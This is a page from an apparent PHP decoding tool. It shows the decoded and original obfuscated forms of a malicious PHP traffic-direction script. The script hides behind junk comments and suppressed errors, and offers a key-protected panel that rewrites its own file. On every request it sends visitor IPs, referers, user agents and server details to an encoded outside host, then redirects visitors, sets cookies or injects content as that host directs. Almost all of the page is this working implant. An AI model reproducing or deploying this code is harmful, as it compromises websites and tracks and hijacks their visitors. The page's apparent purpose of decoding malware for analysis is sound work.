Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $uznbevc="aHR0cDovL3NhbG1wYW5vcy5uZXQvZ29vZ2xlYm90L3NlYXJjaC5wb3N0LnBocA=="; $qvnxye..

Decoded Output download

//ConfGui
error_reporting(0);
ini_set('display_errors', false);
// na)SnEDtG2-uN^byeZ1(YtceZPuH9!=fbp9Ur^VDy95cfg#pHMm6chHSpVeUFE0.q13peg83a4p6Uz1FUd18uqGdUBTTq)n-2.^FVcvYgb0^6RRwgmeFuEYPtUGpZ6h5K49+$WRWd6qSyRWc5p)8HvczhUg2RU#Nb0u5ra16q46gNZfQB65n.!2YK0NZnV0TMBDEu6Zq)1v4r8!s8reTz3!PN_WWTpt_Wpm9r+ed(uC=t4t9D2m)KyyZ+kYB5$6TzWtFE^AeC@1pcy9=zmS!vwR0Rt5TqHNUppZ#rc63Ea9r2Za@KdtPsHA@Tp45n+UTm96gAFhPa6cKZ3dtbB4kbhT2zXgSp0KQVP4A__xErD^tYuu.CDqQ8atb7h8$pSQ#*v$25fcarq42wq.#TA*4*$fT!hTQMz_C(uYP)Q3pp$VMS7CHaMzS-.Z9bu7RW@N_sg.vbkTxWn-3Kfe+@!^9ypQ_N77mdrNweqgBnYpyc4.hq2xp+B_6n$3SDF!6-y!3X^-D@UEC1z9V#aZ3gxPc)D.*R0#p4=UUYufYd@G)f+SP=@TX_^1Ah89PkSz2+df)Arxt=#3fZz3r!X7tFc+VqD=Q#$M(AGn2ZaWf9kZ7F4v(66R4Eh_RRP2uyX
$mode=$_GET["mode"];
if($mode=="config" AND $hgrwhsam==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($uznbevc).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$qvnxyeacdmkuw.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$hgrwhsam.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($rkqaeh).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$gcnecbvb.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// dDyNkc1X!zQ7bHbYpfnkGhQ4CqTB=@Wx3qxf@eB-Ds5)u_QrtDVCUSZ0#r(PpY$ce*^xFm8dwukYBdBAW=qYK!w)dMsZch9G6rSwE$C24GVTc.YV0n7-e.H$*MmcF8z!V)PqRBSh6rU)qpw$sH*SKnc+Sn2$xyEzcX(Qau1dYy*+e-T6st=2frNwB+sb^
if($mode=="setconfig" AND $hgrwhsam==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //TUN';
$kaka=$ka.'KQA// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $uznbevc="'.base64_encode($_POST["ptds"]).'"; $qvnxyeacdmkuw="'.$_POST["ptdsip"].'"; $rkqaeh="'.base64_encode($_POST["pto"]).'"; $gcnecbvb="'.$_POST["pesdid"].'"; $hgrwhsam="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// .75!th7UBD=RT9wN6u7!RQTf-8-#FA)*V2p.SC@^HNy)PpFu5PbEW)4_2*=#6W429!-0Pb7ShEM-5SZQcvhuX7*QMZK3*z9hXu8u9gdNR1PKCPFAP!@UtPE#6bCWuwk6q4q9.SAcu288hkb2aZt)ks8Axs8K51K*=T!$-ztWU2+a3@1#Kf5YbbPx(gS.z+7_T5z*RNbP0@NGFk5WF^E5Try730HB_p_KAE8DKbW^E$Q.CA^3^Zr0y(VuGAmM)_w$eVP@n4gky5-zWw1PP@=g1$kDKdXCmfV)7kN1S!tS4DMbx.*9y2U4cZaAF_Rq7H6W)nCM(M$sx6xs1^DhabK0XkA-=m*YqSN3QCaYBYAu((x)tWgwR*TV)N@4a7N05_0A6)k8(y+9Xx*BztkyD.Aeuf*967b2hY9f7mP)1Yd!fQX!X=Zh*D)sba8(+c9@gZD!RVmy54Uh+tU62Ed
//send
if(empty($qvnxyeacdmkuw)) {$dom = explode("/", base64_decode($uznbevc)); $dom=$dom[2];} else {$dom=$qvnxyeacdmkuw;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
// t$kae*XHdde^T^-9F43D*9PdpN$R2VnX2p$1.yp=EN^GU8A*A^H4Aa@*yy++KD$DvdtMw0z=a19y7madXyUZ5#VQ@MR5!Q!sa)Z(!UE!f)*Xt#71mNXx3pCgTM.sW(1#=.W0^cS5)DS3vEPRF$_wkaVWEZUUw!f81+VU+W^DuWy0t^ZMs0z_.MZhG+5egrK!79uBu-8+$E1_d)kPs7mMSyMHkPr*q)9=b(TnbEYax=!FW!DzQ#_qkf)Dt(gVNb7Ar.6@#3RVKuhBT$+47kq285--_-s(y5E3_.4Pc4p1KK=Sg1)emUS7@qbrZ1Max1R$sTK)NMAM+61*))nc.*3-qpZt)kK(Dcn14PXrqrzdz1_tK3)R*Z=faDFn75PCvarH#VyXQ1RTvcuDXcRyrnCreT.25X49pzZ.#ype1CE(=K^M)3tYDxHScSc0u4.1S)a0gP.)sBf0rMdAnZMFh7Vd)CzQ$4A4zUF6bU2)+xayV)q0)!XUdFCUyUpqVUkS@Dbd*m1qCU)nsgs7AGhYa$cc7GY(@_1^HWQFCbZUnU6D.vG+Q66b4g)+akSA6t^xv=6q02u2a7Vp9WYBr4D4P^N._P-c6BP7GTY0NqEtgG$Z(@fm5@-P6)gY(4Vv0hx9h$Z0TD$eb!CVPmDCYxuMF5pq(C(pzRy
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
//foreach($_COOKIE as $key=>$val) {$t_cookie=$t_cookie."&".$key."=".$val;}
//$t_cookie=urlencode($t_cookie);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($uznbevc)."?server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&cookie=".$t_cookie."&esdid=".$gcnecbvb;
$fp = fsockopen($dom, 80, $errno, $errstr, 30);
@stream_set_timeout($fp, 30);
// abhMD5tU=)B7rDf=B7e++yvXn*zRXrKU-QSgA=5cr2Yu.6rQ+0ysvc-5R)K5Fp+-rP.s6vY#FPbR=HmZAUqzUZ$H=SFm2yEh^28+_e^47=Pc8-ksKp=Esndc*x)Q8Ef(y-WvcA@0!Pmf$yY*tRu70@Dmcvfnd_eaV5hrqW$n#k!wBM3kd3)N.xCvZSbS76q)wUq(srt(0D3sA=@y_XfqXZbyP8)r()m3zbvW!MVG4FMgYKGmcxunARq4e3Xk16a4Qhf4!-^kVwQKD(+e=pugdDBh!bUhb79@Kh7eNZk@HaDwW8^W-(Q8Yq8VS@1v+tFWarnaB09g32!0EAq
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($rkqaeh); }
} else { $goto=base64_decode($rkqaeh); }}
// $B@(^z=E!5rC+^)@)f1)b6y5rK!$9bZz_U3Z3DSuFqe3g*2YE9Y^u1_KQUyF6P1BbnUv*65$NHXvq1UNMvTxcQwfY_Q-cqgC(-Uzq)0dvdPy7TX3k^7n9=YQ_hwuAQK!BXzVWqh$Huh1uAA55hQWCQ@v83AdAW1MU07EMRs_B+e0y-q#.u9B
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($rkqaeh); }
} else { $goto=base64_decode($rkqaeh); }
// k.Qq3A3EChk5NE56Za(4Bhc@T)6@Gr-ur1!*QXahm
}} else {
$out = "GET ".$_link." HTTP/1.0
";
$out .= "Host: ".$dom."
";
$out .= "Connection: Close

";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="
" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT8---
$gotoe = explode("://", trim($goto));
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $gotoee=explode("&", $gotoe[1]); foreach($gotoee as $setcook) { $set=explode("=", $setcook);setcookie($set[0], $set[1]); } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT9---

Did this file decode correctly?

Original Code

<?php $uznbevc="aHR0cDovL3NhbG1wYW5vcy5uZXQvZ29vZ2xlYm90L3NlYXJjaC5wb3N0LnBocA=="; $qvnxyeacdmkuw=""; $rkqaeh="aHR0cDovL3VuaWNlZi5vcmc=="; $gcnecbvb="s595"; $hgrwhsam="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; ?><?php //TUNKQA// ?><?php
$uyg=strrev("edoced_46esab");$csh="Ly9Db25mR3VpDQplcnJvcl9yZXBvcnRpbmcoMCk7DQppbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIGZhbHNlKTsNCi8vIG5hKVNuRUR0RzItdU5eYnllWjEoWXRjZVpQdUg5IT1mYnA5VXJeVkR5OTVjZmcjcEhNbTZjaEhTcFZlVUZFMC5xMTNwZWc4M2E0cDZVejFGVWQxOHVxR2RVQlRUcSluLTIuXkZWY3ZZZ2IwXjZSUndnbWVGdUVZUHRVR3BaNmg1SzQ5KyRXUldkNnFTeVJXYzVwKThIdmN6aFVnMlJVI05iMHU1cmExNnE0NmdOWmZRQjY1bi4hMllLME5ablYwVE1CREV1NlpxKTF2NHI4IXM4cmVUejMhUE5fV1dUcHRfV3BtOXIrZWQodUM9dDR0OUQybSlLeXlaK2tZQjUkNlR6V3RGRV5BZUNAMXBjeTk9em1TIXZ3UjBSdDVUcUhOVXBwWiNyYzYzRWE5cjJaYUBLZHRQc0hBQFRwNDVuK1VUbTk2Z0FGaFBhNmNLWjNkdGJCNGtiaFQyelhnU3AwS1FWUDRBX194RXJEXnRZdXUuQ0RxUThhdGI3aDgkcFNRIyp2JDI1ZmNhcnE0MndxLiNUQSo0KiRmVCFoVFFNel9DKHVZUClRM3BwJFZNUzdDSGFNelMtLlo5YnU3UldATl9zZy52YmtUeFduLTNLZmUrQCFeOXlwUV9ONzdtZHJOd2VxZ0JuWXB5YzQuaHEyeHArQl82biQzU0RGITYteSEzWF4tREBVRUMxejlWI2FaM2d4UGMpRC4qUjAjcDQ9VVVZdWZZZEBHKWYrU1A9QFRYX14xQWg4OVBrU3oyK2RmKUFyeHQ9IzNmWnozciFYN3RGYytWcUQ9USMkTShBR24yWmFXZjlrWjdGNHYoNjZSNEVoX1JSUDJ1eVgNCiRtb2RlPSRfR0VUWyJtb2RlIl07DQppZigkbW9kZT09ImNvbmZpZyIgQU5EICRoZ3J3aHNhbT09JF9HRVRbJ2tleSddKXsNCmVjaG8gJzxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj1odHRwOi8vJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10uJz9tb2RlPXNldGNvbmZpZyZrZXk9Jy4kX0dFVFsna2V5J10uJz4NCjx0YWJsZSBib3JkZXI9IjAiPjx0cj48dGQ+VERTPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InB0ZHMiIHZhbHVlPSInLmJhc2U2NF9kZWNvZGUoJHV6bmJldmMpLiciPjwvdGQ+PHRkPlREUyBJUDwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InB0ZHNpcCIgdmFsdWU9IicuJHF2bnh5ZWFjZG1rdXcuJyI+PC90ZD48dGQ+S0VZPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBrZXkiIHZhbHVlPSInLiRoZ3J3aHNhbS4nIj48L3RkPg0KPC90cj48dHI+PHRkPlJlc2VydmU8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icHRvIiB2YWx1ZT0iJy5iYXNlNjRfZGVjb2RlKCRya3FhZWgpLiciPjwvdGQ+PHRkPkVTRCBJRDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwZXNkaWQiIHZhbHVlPSInLiRnY25lY2J2Yi4nIj48L3RkPg0KPHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IlN1Ym1pdCIgdmFsdWU9Im9rIj48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+JzsNCmRpZSgpOw0KfQ0KLy8gZER5TmtjMVghelE3YkhiWXBmbmtHaFE0Q3FUQj1AV3gzcXhmQGVCLURzNSl1X1FydERWQ1VTWjAjcihQcFkkY2UqXnhGbThkd3VrWUJkQkFXPXFZSyF3KWRNc1pjaDlHNnJTd0UkQzI0R1ZUYy5ZVjBuNy1lLkgkKk1tY0Y4eiFWKVBxUkJTaDZyVSlxcHckc0gqU0tuYytTbjIkeHlFemNYKFFhdTFkWXkqK2UtVDZzdD0yZnJOd0Irc2JeDQppZigkbW9kZT09InNldGNvbmZpZyIgQU5EICRoZ3J3aHNhbT09JF9HRVRbJ2tleSddKXsNCiRzbj1leHBsb2RlKCIvIiwgJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pOw0KZm9yZWFjaCgkc24gYXMgJHNubil7JHNjcj0kc25uO30NCiRnZXRscGE9ZmlsZSgkc2NyKTsNCiRzdHJuZz0kZ2V0bHBhWzBdOw0KJGZpbGU9ZmlsZSgkc2NyKTsgDQpmb3IoJGk9MDskaTxzaXplb2YoJGZpbGUpOyRpKyspDQppZigkaT09MCkgew0KJGthPScnLmJhc2U2NF9kZWNvZGUoJ1BEOXdhSEE9JykuJyAvL1RVTic7DQoka2FrYT0ka2EuJ0tRQS8vICcuYmFzZTY0X2RlY29kZSgnUHo0PScpLicnOw0KJGZlbHAgPSBleHBsb2RlKCRrYWthLCAkZmlsZVskaV0pOw0KJGZpbGVbJGldPScnLmJhc2U2NF9kZWNvZGUoJ1BEOXdhSEE9JykuJyAkdXpuYmV2Yz0iJy5iYXNlNjRfZW5jb2RlKCRfUE9TVFsicHRkcyJdKS4nIjsgJHF2bnh5ZWFjZG1rdXc9IicuJF9QT1NUWyJwdGRzaXAiXS4nIjsgJHJrcWFlaD0iJy5iYXNlNjRfZW5jb2RlKCRfUE9TVFsicHRvIl0pLiciOyAkZ2NuZWNidmI9IicuJF9QT1NUWyJwZXNkaWQiXS4nIjsgJGhncndoc2FtPSInLiRfUE9TVFsicGtleSJdLiciOyAnLmJhc2U2NF9kZWNvZGUoJ1B6ND0nKS4nJy4ka2FrYS4kZmVscFsxXTsNCn0NCiRmcD1mb3Blbigkc2NyLCJ3Iik7IA0KZnB1dHMoJGZwLGltcGxvZGUoIiIsJGZpbGUpKTsNCmZjbG9zZSgkZnApOw0KfQ0KLy8gLjc1IXRoN1VCRD1SVDl3TjZ1NyFSUVRmLTgtI0ZBKSpWMnAuU0NAXkhOeSlQcEZ1NVBiRVcpNF8yKj0jNlc0MjkhLTBQYjdTaEVNLTVTWlFjdmh1WDcqUU1aSzMqejloWHU4dTlnZE5SMVBLQ1BGQVAhQFV0UEUjNmJDV3V3azZxNHE5LlNBY3UyODhoa2IyYVp0KWtzOEF4czhLNTFLKj1UISQtenRXVTIrYTNAMSNLZjVZYmJQeChnUy56KzdfVDV6KlJOYlAwQE5HRms1V0ZeRTVUcnk3MzBIQl9wX0tBRThES2JXXkUkUS5DQV4zXlpyMHkoVnVHQW1NKV93JGVWUEBuNGdreTUteld3MVBQQD1nMSRrREtkWENtZlYpN2tOMVMhdFM0RE1ieC4qOXkyVTRjWmFBRl9ScTdINlcpbkNNKE0kc3g2eHMxXkRoYWJLMFhrQS09bSpZcVNOM1FDYVlCWUF1KCh4KXRXZ3dSKlRWKU5ANGE3TjA1XzBBNilrOCh5KzlYeCpCenRreUQuQWV1Zio5NjdiMmhZOWY3bVApMVlkIWZRWCFYPVpoKkQpc2JhOCgrYzlAZ1pEIVJWbXk1NFVoK3RVNjJFZA0KLy9zZW5kDQppZihlbXB0eSgkcXZueHllYWNkbWt1dykpIHskZG9tID0gZXhwbG9kZSgiLyIsIGJhc2U2NF9kZWNvZGUoJHV6bmJldmMpKTsgJGRvbT0kZG9tWzJdO30gZWxzZSB7JGRvbT0kcXZueHllYWNkbWt1dzt9DQpmdW5jdGlvbiBnZXRVc2VySXAoKSB7DQpzdGF0aWMgJGZvcndhcmRlZCA9IGFycmF5KA0KLy8nSFRUUF9DTElFTlRfSVAnLA0KLy8nSFRUUF9YX0ZPUldBUkRFRF9GT1InLA0KLy8nSFRUUF9YX0ZPUldBUkRFRCcsDQovLydIVFRQX1hfUkVBTF9JUCcsDQovLydIVFRQX1hfQ0xVU1RFUl9DTElFTlRfSVAnLA0KLy8nSFRUUF9GT1JXQVJERURfRk9SJywNCi8vJ0hUVFBfRk9SV0FSREVEJywNCidSRU1PVEVfQUREUicNCik7DQpmb3JlYWNoICgkZm9yd2FyZGVkIGFzICRrZXkpIHsNCmlmICghZnVuY3Rpb25fZXhpc3RzKCdhcnJheV9rZXlfZXhpc3RzJykpIHsgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddOyB9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygnc3NjYW5mJykpIHsgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddOyB9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygnZmlsdGVyX3ZhcicpKSB7IHJldHVybiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsgfQ0KaWYgKGFycmF5X2tleV9leGlzdHMoJGtleSwgJF9TRVJWRVIpKSB7IHNzY2FuZigkX1NFUlZFUlska2V5XSwgJyVbXixdJywgJGlwKTsNCmlmIChmaWx0ZXJfdmFyKCRpcCwgRklMVEVSX1ZBTElEQVRFX0lQLCBGSUxURVJfRkxBR19OT19QUklWX1JBTkdFIHwgRklMVEVSX0ZMQUdfTk9fUkVTX1JBTkdFKSAhPT0gZmFsc2UpIHsgcmV0dXJuICRpcDsNCn19fSByZXR1cm4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107IH0NCi8vIHQka2FlKlhIZGRlXlReLTlGNDNEKjlQZHBOJFIyVm5YMnAkMS55cD1FTl5HVThBKkFeSDRBYUAqeXkrK0tEJER2ZHRNdzB6PWExOXk3bWFkWHlVWjUjVlFATVI1IVEhc2EpWighVUUhZikqWHQjNzFtTlh4M3BDZ1RNLnNXKDEjPS5XMF5jUzUpRFMzdkVQUkYkX3drYVZXRVpVVXchZjgxK1ZVK1deRHVXeTB0XlpNczB6Xy5NWmhHKzVlZ3JLITc5dUJ1LTgrJEUxX2Qpa1BzN21NU3lNSGtQcipxKTk9YihUbmJFWWF4PSFGVyFEelEjX3FrZilEdChnVk5iN0FyLjZAIzNSVkt1aEJUJCs0N2txMjg1LS1fLXMoeTVFM18uNFBjNHAxS0s9U2cxKWVtVVM3QHFicloxTWF4MVIkc1RLKU5NQU0rNjEqKSluYy4qMy1xcFp0KWtLKERjbjE0UFhycXJ6ZHoxX3RLMylSKlo9ZmFERm43NVBDdmFySCNWeVhRMVJUdmN1RFhjUnlybkNyZVQuMjVYNDlwelouI3lwZTFDRSg9S15NKTN0WUR4SFNjU2MwdTQuMVMpYTBnUC4pc0JmMHJNZEFuWk1GaDdWZClDelEkNEE0elVGNmJVMikreGF5VilxMCkhWFVkRkNVeVVwcVZVa1NARGJkKm0xcUNVKW5zZ3M3QUdoWWEkY2M3R1koQF8xXkhXUUZDYlpVblU2RC52RytRNjZiNGcpK2FrU0E2dF54dj02cTAydTJhN1ZwOVdZQnI0RDRQXk4uX1AtYzZCUDdHVFkwTnFFdGdHJFooQGZtNUAtUDYpZ1koNFZ2MGh4OWgkWjBURCRlYiFDVlBtRENZeHVNRjVwcShDKHB6UnkNCmlmKCFlbXB0eSgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSkpIHskdF9zZXJ2ZXJfcG9ydD11cmxlbmNvZGUoJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pO30gZWxzZSB7ICR0X3NlcnZlcl9wb3J0PScnOyB9DQppZighZW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10pKSB7JHRfc2VydmVyX2FkZHI9dXJsZW5jb2RlKCRfU0VSVkVSWydTRVJWRVJfQUREUiddKTt9IGVsc2UgeyAkdF9zZXJ2ZXJfYWRkcj0nJzsgfQ0KaWYoIWVtcHR5KCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSkpIHskdF9zZXJ2ZXJfc29mdHdhcmU9dXJsZW5jb2RlKCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSk7fSBlbHNlIHsgJHRfc2VydmVyX3NvZnR3YXJlPScnOyB9DQokdF9kb209dXJsZW5jb2RlKCdodHRwOi8vJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pOw0KJHRfcmVmPXVybGVuY29kZSgkX1NFUlZFUltIVFRQX1JFRkVSRVJdKTsNCiR0X2lwPXVybGVuY29kZShnZXRVc2VySXAoKSk7DQokdF9wcm94PSdubyc7aWYoJF9TRVJWRVJbIkhUVFBfWF9GT1JXQVJERURfRk9SIl0peyR0X3Byb3g9J3llcyc7fQ0KJHRfYWdlbnQ9dXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7DQovL2ZvcmVhY2goJF9DT09LSUUgYXMgJGtleT0+JHZhbCkgeyR0X2Nvb2tpZT0kdF9jb29raWUuIiYiLiRrZXkuIj0iLiR2YWw7fQ0KLy8kdF9jb29raWU9dXJsZW5jb2RlKCR0X2Nvb2tpZSk7DQppZighZW1wdHkoJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKSkgeyR0X2Nvb2tpZT11cmxlbmNvZGUoJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKTt9DQplbHNlIGlmKCFlbXB0eSgkX1NFUlZFUlsnUEFUSF9JTkZPJ10pKSB7JHRfY29va2llPXVybGVuY29kZSgkX1NFUlZFUlsnUEFUSF9JTkZPJ10pO30NCmVsc2UgeyAkdF9jb29raWU9Jyc7IH0NCiRfbGluaz1iYXNlNjRfZGVjb2RlKCR1em5iZXZjKS4iP3NlcnZlcl9wb3J0PSIuJHRfc2VydmVyX3BvcnQuIiZzZXJ2ZXJfYWRkcj0iLiR0X3NlcnZlcl9hZGRyLiImc2VydmVyX3NvZnR3YXJlPSIuJHRfc2VydmVyX3NvZnR3YXJlLiImZG9tPSIuJHRfZG9tLiImcmVmPSIuJHRfcmVmLiImaXA9Ii4kdF9pcC4iJnByb3g9Ii4kdF9wcm94LiImYWdlbnQ9Ii4kdF9hZ2VudC4iJmNvb2tpZT0iLiR0X2Nvb2tpZS4iJmVzZGlkPSIuJGdjbmVjYnZiOw0KJGZwID0gZnNvY2tvcGVuKCRkb20sIDgwLCAkZXJybm8sICRlcnJzdHIsIDMwKTsNCkBzdHJlYW1fc2V0X3RpbWVvdXQoJGZwLCAzMCk7DQovLyBhYmhNRDV0VT0pQjdyRGY9QjdlKyt5dlhuKnpSWHJLVS1RU2dBPTVjcjJZdS42clErMHlzdmMtNVIpSzVGcCstclAuczZ2WSNGUGJSPUhtWkFVcXpVWiRIPVNGbTJ5RWheMjgrX2VeNDc9UGM4LWtzS3A9RXNuZGMqeClROEVmKHktV3ZjQUAwIVBtZiR5WSp0UnU3MEBEbWN2Zm5kX2VhVjVocnFXJG4jayF3Qk0za2QzKU4ueEN2WlNiUzc2cSl3VXEoc3J0KDBEM3NBPUB5X1hmcVhaYnlQOClyKCltM3pidlchTVZHNEZNZ1lLR21jeHVuQVJxNGUzWGsxNmE0UWhmNCEtXmtWd1FLRCgrZT1wdWdkREJoIWJVaGI3OUBLaDdlTlprQEhhRHdXOF5XLShROFlxOFZTQDF2K3RGV2FybmFCMDlnMzIhMEVBcQ0KaWYgKCEkZnApIHsNCmlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKSB7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBmYWxzZSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCBmYWxzZSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJF9saW5rKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgIjYwIik7DQokZ290byA9IGN1cmxfZXhlYygkY2gpOyBjdXJsX2Nsb3NlKCRjaCk7DQppZiAoZW1wdHkoJGdvdG8pKSB7IGlmIChmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfZ2V0X2NvbnRlbnRzJykpIHsNCiRjdHggPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2h0dHAnID0+IGFycmF5KCd0aW1lb3V0JyA9PiA5MCkpKTsNCiRnb3RvPWZpbGVfZ2V0X2NvbnRlbnRzKCRfbGluaywgMCwgJGN0eCk7DQppZiAoZW1wdHkoJGdvdG8pKSB7ICRnb3RvPWJhc2U2NF9kZWNvZGUoJHJrcWFlaCk7IH0NCn0gZWxzZSB7ICRnb3RvPWJhc2U2NF9kZWNvZGUoJHJrcWFlaCk7IH19DQovLyAkQkAoXno9RSE1ckMrXilAKWYxKWI2eTVySyEkOWJael9VM1ozRFN1RnFlM2cqMllFOVledTFfS1FVeUY2UDFCYm5Vdio2NSROSFh2cTFVTk12VHhjUXdmWV9RLWNxZ0MoLVV6cSkwZHZkUHk3VFgza143bjk9WVFfaHd1QVFLIUJYelZXcWgkSHVoMXVBQTU1aFFXQ1FAdjgzQWRBVzFNVTA3RU1Sc19CK2UweS1xIy51OUINCn0gZWxzZSB7DQppZiAoZnVuY3Rpb25fZXhpc3RzKCdmaWxlX2dldF9jb250ZW50cycpKSB7DQokY3R4ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KCdodHRwJyA9PiBhc